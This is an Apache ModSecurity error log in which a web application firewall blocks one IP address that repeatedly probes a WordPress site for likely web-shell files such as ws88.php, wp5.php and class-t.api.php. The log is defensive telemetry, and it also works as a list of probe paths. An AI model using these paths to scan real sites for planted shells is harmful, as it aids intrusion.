[Thu Apr 23 09:02:07.471790 2026] [:error] [pid 42972:tid 43025] [client 20.215.251.95:5127] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tymn.php"] [unique_id "aelvj8OAb-3sOknsk4c0eAAAAEk"]
[Thu Apr 23 09:02:08.122692 2026] [:error] [pid 43083:tid 43107] [client 20.215.251.95:43812] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tymn.php"] [unique_id "aelvkDC5hrvNXosL83L7lgAAANY"]
[Thu Apr 23 09:02:10.034454 2026] [:error] [pid 65000:tid 65052] [client 20.215.251.95:46046] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tymn.php"] [unique_id "aelvkr6vRb9j6psK2ZbcSgAAAhM"]
[Thu Apr 23 09:02:11.754136 2026] [:error] [pid 64998:tid 65007] [client 20.215.251.95:46039] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tymn.php"] [unique_id "aelvk4V5EysYcTLjmwhJzQAAAcU"]
[Thu Apr 23 09:02:12.755906 2026] [:error] [pid 59700:tid 59706] [client 20.215.251.95:43447] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aelvlJXyGZJFeAIDWtl-RQAAAUQ"]
[Thu Apr 23 09:02:13.684961 2026] [:error] [pid 64998:tid 65020] [client 20.215.251.95:5732] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aelvlYV5EysYcTLjmwhJ3AAAAdI"]
[Thu Apr 23 09:02:15.263165 2026] [:error] [pid 59700:tid 59721] [client 20.215.251.95:59373] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aelvl5XyGZJFeAIDWtl-SgAAAVM"]
[Thu Apr 23 09:02:17.869423 2026] [:error] [pid 43083:tid 43100] [client 20.215.251.95:5703] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aelvmTC5hrvNXosL83L7qAAAAM8"]
[Thu Apr 23 09:02:18.605287 2026] [:error] [pid 43083:tid 43089] [client 20.215.251.95:49375] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aelvmjC5hrvNXosL83L7qwAAAMQ"]
[Thu Apr 23 09:02:20.073615 2026] [:error] [pid 64998:tid 65017] [client 20.215.251.95:41981] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aelvnIV5EysYcTLjmwhKBAAAAc8"]
[Thu Apr 23 09:02:22.883853 2026] [:error] [pid 64998:tid 65025] [client 20.215.251.95:38141] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aelvnoV5EysYcTLjmwhKGQAAAdc"]
[Thu Apr 23 09:02:23.848646 2026] [:error] [pid 43083:tid 43092] [client 20.215.251.95:38182] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aelvnzC5hrvNXosL83L7ugAAAMc"]
[Thu Apr 23 09:02:25.261702 2026] [:error] [pid 43083:tid 43096] [client 20.215.251.95:45148] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aelvoTC5hrvNXosL83L7vQAAAMs"]
[Thu Apr 23 09:02:26.653885 2026] [:error] [pid 65000:tid 65050] [client 20.215.251.95:38183] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aelvor6vRb9j6psK2ZbcfQAAAhE"]
[Thu Apr 23 09:02:28.167734 2026] [:error] [pid 64967:tid 64979] [client 20.215.251.95:5633] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aelvpIAV4GfOOdX8QzojZwAAAYo"]
[Thu Apr 23 09:03:35.701178 2026] [:error] [pid 64998:tid 65025] [client 20.215.251.95:39255] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aelv54V5EysYcTLjmwhLCwAAAdc"]
[Thu Apr 23 09:03:38.165954 2026] [:error] [pid 43083:tid 43102] [client 20.215.251.95:54276] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aelv6jC5hrvNXosL83L8aQAAANE"]
[Thu Apr 23 09:03:39.391710 2026] [:error] [pid 43083:tid 43107] [client 20.215.251.95:43063] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aelv6zC5hrvNXosL83L8awAAANY"]
[Thu Apr 23 09:03:42.575293 2026] [:error] [pid 64998:tid 65016] [client 20.215.251.95:58427] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aelv7oV5EysYcTLjmwhLEgAAAc4"]
[Thu Apr 23 09:03:44.345704 2026] [:error] [pid 59700:tid 59721] [client 20.215.251.95:43023] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aelv8JXyGZJFeAIDWtl-mgAAAVM"]
[Thu Apr 23 09:03:47.103025 2026] [:error] [pid 42972:tid 43032] [client 20.215.251.95:38329] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aelv88OAb-3sOknsk4c0pQAAAFA"]
[Thu Apr 23 09:03:48.313859 2026] [:error] [pid 42973:tid 43048] [client 20.215.251.95:53868] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aelv9G6I0QqmmmLTHE3nRQAAAIU"]
[Thu Apr 23 09:03:50.253440 2026] [:error] [pid 64998:tid 65024] [client 20.215.251.95:51173] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aelv9oV5EysYcTLjmwhLMwAAAdY"]
[Thu Apr 23 09:03:51.154819 2026] [:error] [pid 25635:tid 25644] [client 20.215.251.95:46967] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-block.php"] [unique_id "aelv98Rxv6UsgRGKB3LwBAAAAQU"]
[Thu Apr 23 09:03:52.327188 2026] [:error] [pid 64998:tid 65025] [client 20.215.251.95:46973] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-block.php"] [unique_id "aelv-IV5EysYcTLjmwhLOwAAAdc"]
[Thu Apr 23 09:03:53.986091 2026] [:error] [pid 65000:tid 65055] [client 20.215.251.95:5527] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-block.php"] [unique_id "aelv-b6vRb9j6psK2ZbdBgAAAhY"]
[Thu Apr 23 09:03:55.398465 2026] [:error] [pid 59700:tid 59714] [client 20.215.251.95:44707] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-block.php"] [unique_id "aelv-5XyGZJFeAIDWtl-pgAAAUw"]
[Thu Apr 23 09:03:58.027798 2026] [:error] [pid 64998:tid 65017] [client 20.215.251.95:54224] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aelv_oV5EysYcTLjmwhLWAAAAc8"]
[Thu Apr 23 09:03:59.250299 2026] [:error] [pid 64967:tid 64980] [client 20.215.251.95:48601] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aelv_4AV4GfOOdX8QzojmwAAAYs"]
[Thu Apr 23 09:04:01.182294 2026] [:error] [pid 64998:tid 65011] [client 20.215.251.95:48592] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aelwAYV5EysYcTLjmwhLZAAAAck"]
[Thu Apr 23 09:04:02.943641 2026] [:error] [pid 64998:tid 65004] [client 20.215.251.95:49684] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aelwAoV5EysYcTLjmwhLaAAAAcI"]
[Thu Apr 23 09:04:04.273801 2026] [:error] [pid 64998:tid 65018] [client 20.215.251.95:46940] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adoms.php"] [unique_id "aelwBIV5EysYcTLjmwhLaQAAAdA"]
[Thu Apr 23 09:04:06.368445 2026] [:error] [pid 43083:tid 43090] [client 20.215.251.95:41112] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adoms.php"] [unique_id "aelwBjC5hrvNXosL83L8ogAAAMU"]
[Thu Apr 23 09:04:08.846150 2026] [:error] [pid 43083:tid 43091] [client 20.215.251.95:58711] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adoms.php"] [unique_id "aelwCDC5hrvNXosL83L8qgAAAMY"]
[Thu Apr 23 09:04:09.793073 2026] [:error] [pid 43083:tid 43087] [client 20.215.251.95:5516] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adoms.php"] [unique_id "aelwCTC5hrvNXosL83L8rQAAAMI"]
[Thu Apr 23 09:04:12.873648 2026] [:error] [pid 64998:tid 65016] [client 20.215.251.95:54251] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin-editor.php"] [unique_id "aelwDIV5EysYcTLjmwhLgQAAAc4"]
[Thu Apr 23 09:04:14.997346 2026] [:error] [pid 65000:tid 65055] [client 20.215.251.95:54260] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin-editor.php"] [unique_id "aelwDr6vRb9j6psK2ZbdJAAAAhY"]
[Thu Apr 23 09:04:16.657107 2026] [:error] [pid 42971:tid 43006] [client 20.215.251.95:5362] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin-editor.php"] [unique_id "aelwEDEP2_5RswrH8bHIWQAAABQ"]
[Thu Apr 23 09:04:20.505396 2026] [:error] [pid 43083:tid 43097] [client 20.215.251.95:51194] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin-editor.php"] [unique_id "aelwFDC5hrvNXosL83L8zQAAAMw"]
[Thu Apr 23 09:04:22.906796 2026] [:error] [pid 25635:tid 25653] [client 20.215.251.95:51222] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "aelwFsRxv6UsgRGKB3LwCgAAAQ4"]
[Thu Apr 23 09:04:24.047380 2026] [:error] [pid 64967:tid 64984] [client 20.215.251.95:37336] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "aelwGIAV4GfOOdX8QzojpAAAAY8"]
[Thu Apr 23 09:04:25.269776 2026] [:error] [pid 64998:tid 65012] [client 20.215.251.95:41585] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "aelwGYV5EysYcTLjmwhLnQAAAco"]
[Thu Apr 23 09:04:26.401807 2026] [:error] [pid 42973:tid 43050] [client 20.215.251.95:50758] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "aelwGm6I0QqmmmLTHE3nTAAAAIc"]
[Thu Apr 23 09:04:27.249649 2026] [:error] [pid 59700:tid 59708] [client 20.215.251.95:49771] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an.php"] [unique_id "aelwG5XyGZJFeAIDWtl-wAAAAUY"]
[Thu Apr 23 09:04:28.199759 2026] [:error] [pid 64998:tid 65021] [client 20.215.251.95:52348] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an.php"] [unique_id "aelwHIV5EysYcTLjmwhLrQAAAdM"]
[Thu Apr 23 09:04:29.729153 2026] [:error] [pid 65000:tid 65050] [client 20.215.251.95:38808] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an.php"] [unique_id "aelwHb6vRb9j6psK2ZbdLgAAAhE"]
[Thu Apr 23 09:04:30.735883 2026] [:error] [pid 42971:tid 42995] [client 20.215.251.95:52321] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an.php"] [unique_id "aelwHjEP2_5RswrH8bHIcAAAAAk"]
[Thu Apr 23 09:04:31.834643 2026] [:error] [pid 42971:tid 43010] [client 20.215.251.95:5215] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "aelwHzEP2_5RswrH8bHIcwAAABg"]
[Thu Apr 23 09:05:25.218541 2026] [:error] [pid 65000:tid 65044] [client 20.215.251.95:38466] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aelwVb6vRb9j6psK2Zbd3AAAAgs"]
[Thu Apr 23 09:05:27.669212 2026] [:error] [pid 59700:tid 59710] [client 20.215.251.95:47687] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aelwV5XyGZJFeAIDWtl_BwAAAUg"]
[Thu Apr 23 09:05:28.555305 2026] [:error] [pid 42972:tid 43028] [client 20.215.251.95:42688] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aelwWMOAb-3sOknsk4c00gAAAEw"]
[Thu Apr 23 09:05:32.676956 2026] [:error] [pid 43083:tid 43100] [client 20.215.251.95:42706] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aelwXDC5hrvNXosL83L9VQAAAM8"]
[Thu Apr 23 09:05:34.410549 2026] [:error] [pid 42973:tid 43056] [client 20.215.251.95:64041] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aelwXm6I0QqmmmLTHE3nXgAAAI0"]
[Thu Apr 23 09:05:35.264089 2026] [:error] [pid 64967:tid 64974] [client 20.215.251.95:38695] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aelwX4AV4GfOOdX8QzojwAAAAYU"]
[Thu Apr 23 09:05:36.976381 2026] [:error] [pid 64967:tid 64969] [client 20.215.251.95:55442] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aelwYIAV4GfOOdX8QzojwwAAAYA"]
[Thu Apr 23 09:05:37.798754 2026] [:error] [pid 64998:tid 65006] [client 20.215.251.95:37638] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aelwYYV5EysYcTLjmwhMqAAAAcQ"]
